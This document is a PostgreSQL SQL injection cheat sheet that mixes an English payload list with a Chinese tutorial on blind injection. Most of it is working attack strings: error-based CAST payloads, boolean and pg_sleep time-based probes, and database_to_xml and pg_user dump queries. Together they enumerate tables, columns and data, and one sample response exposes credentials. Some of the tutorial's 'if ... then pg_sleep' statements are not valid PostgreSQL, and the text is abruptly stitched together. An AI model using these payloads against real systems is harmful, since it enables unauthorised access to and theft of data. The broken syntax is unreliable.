,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
PostgreSQL XML helpers
select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row
select database_to_xml(true,true,''); -- dump the current database to XML
select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema
我们还可以用id=1 and length((select current_database()))=8来判断当前数据库名的长度是否是8,或者用id=1 and ascii(substr((select current_database()),1,1))=112来判断当前数据库名的第一个字母是否是p。
判断数据库版本是否是PostgreSQL:
' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
我们可以利用这种差异,构造类似pg_sleep(5)的语句,来判断数据库的信息。例如,我们可以用if (ascii(substr((select current_user),1,1)))=100 then pg_sleep(5) end if来判断当前用户的第一个字母是否是d,如果是就延时五秒。
输入id=1; if (ascii(substr((select current_user),1,1)))=100 then pg_sleep(5) end if,页面延时五秒后返回:
用户ID:1
用户名:admin
密码:123456
这说明我们的SQL语句成立,也就是说,当前用户的第一个字母是d。
通过这种方法,我们可以逐步猜解数据库的结构和内容,例如,我们可以用length()和substr()函数,结合ASCII码,来猜解数据库名、表名、字段名和字段内容。例如,我们可以用id=1; if (length((select current_database()))=8) then pg_sleep(5) end if来判断当前数据库名的长度是否是8,或者用id=1; if (ascii(substr((select current_database()),1,1))=112) then pg_sleep(5) end if来判断当前数据库名的第一个字母是否是p。
基于时间:
select 1 from pg_sleep(5)
;(select 1 from pg_sleep(5))
||(select 1 from pg_sleep(5))
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
基于数据库转储时间:
select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1
基于表转储时间:
select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1
基于列转储时间:
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1